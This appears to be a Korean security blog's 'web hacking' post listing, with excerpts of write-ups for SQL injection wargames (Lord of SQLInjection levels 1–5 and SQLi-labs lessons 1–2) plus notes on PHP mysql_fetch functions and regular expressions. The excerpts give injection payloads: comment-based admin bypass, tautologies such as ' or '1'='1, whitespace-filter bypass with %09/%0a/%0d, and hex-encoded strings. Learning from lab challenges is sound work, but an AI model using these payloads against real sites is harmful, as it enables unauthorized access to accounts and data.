본문 바로가기

웹 해킹84

los 5번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("wolfman"); highlight_file(__FILE__); ?>공백 우회 1. Tab %092. \n %0a3. %0d4. /**/5. ()6. + 여기서는 1, 2, 3, 4번 다 적용되었다. 1'%09or%09id='admin query : select id from prob_wolfman where id='guest' and pw='1'orid='admin' 2018. 6. 27.
los 4번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "Hello admin"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__); ?>직접 패스워드와 비교를 하므로 실제 패스워드를 알아내야 한다.. 2018. 6. 27.
los 3번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "Hello {$result[id]}"; if($result['id'] == 'admin') solve("goblin"); highlight_file(__FILE__); ?>id가 admin이어야 한다!하지만 쿼리문에 guest가 있다그리고 no로 입력값을 넣어준다! id 에 ' " ` 가 있으면 안된다! 그렇다면 ' 을 우회해서 문자열을 넣어주면 된다! 헥스값으로 넣어주자! no=1일때 guest이므로 no가 1이 아닌 0을 넣어주면 ?no=0 or id=0x61646D696E id='guest' and no=0 or id=0x61646.. 2018. 6. 27.
los 2번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "Hello {$result['id']} You are not admin :("; highlight_file(__FILE__); ?>id가 admin이어야 풀린다! admin으로 로그인을 해야 한다! ?id=admin'--%20 2018. 6. 27.
mysql_fetch 시리즈 참고자료: http://sbumseo.tistory.com/84 mysql_fetch_row(), mysql_fetch_assoc(), mysql_fetch_array() 세 함수는 한 행에서 데이터를 읽는다. 데이터를 읽은 후 함수 내부의 포인터를 증가시켜 다시 호출될 때 다음 행을 읽을 수 있도록 한다. 1. mysql_fetch_row($result) 2018. 6. 27.
정규표현식 정규 표현식의 기초, 메타 문자meta characters. ^ $ * + ? { } [ ] \ | ( ) 문자 클래스 [ ] ^은 not이라는 뜻이 있다 자주 사용하는 문자 클래스\d : 숫자와 매치, [0-9]\D : 숫자가 아닌 것과 매치, [^0-9]\s : whitespace 문자와 매치, [ \t\n\r\f\v]\S : whitespace 문자가 아닌 것과 매치, [^ \t\n\r\f\v]\w : 문자+숫자와 매치, [a-zA-Z0-9]\W: 문자+숫자가 아닌 문자와 매치, [^a-zA-Z0-9] Dot(.) : \n을 제외한 모든 문자ex) a.b : a+모든문자+b 반복(*)*바로 앞에 있는 문자가 0번부터 무한대로 반복될 수 있다. 반복(+) +바로 앞에 있는 문자가 최소 1번 이상 반복.. 2018. 6. 27.
los 1번 query : {$query} "; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) solve("gremlin"); highlight_file(__FILE__); ?>preg_match("pattern","subject")pattern에 주어진 정규표현식을 subject에서 찾는다. PHP의 정규표현식은 구분자로 시작해서 구분자로 끝을 내야 한다.구분자는 보통 /를 사용한다.구분자 뒤에는 옵션이 위치할 수 있다.ex) 옵션 i : 대소문자를 구분하지 않는다. |는 OR 연산자 기능을 한다. id: prob or _ or . or () with no 대소문자 구분pw: prob or _ or . or () with no 대소문자 구.. 2018. 6. 27.
Less2-Error based SQL injections-Integer based $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";?id='hello' or 1=1?id=123 or 1=1 2018. 3. 22.
Less1-Error based SQL injections-Single quotes $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; id=' or '1'='1id=' or 1=1 --%20 //뒤가 모두 주석처리! 즉 '을 없앨 수 있다. 2018. 3. 22.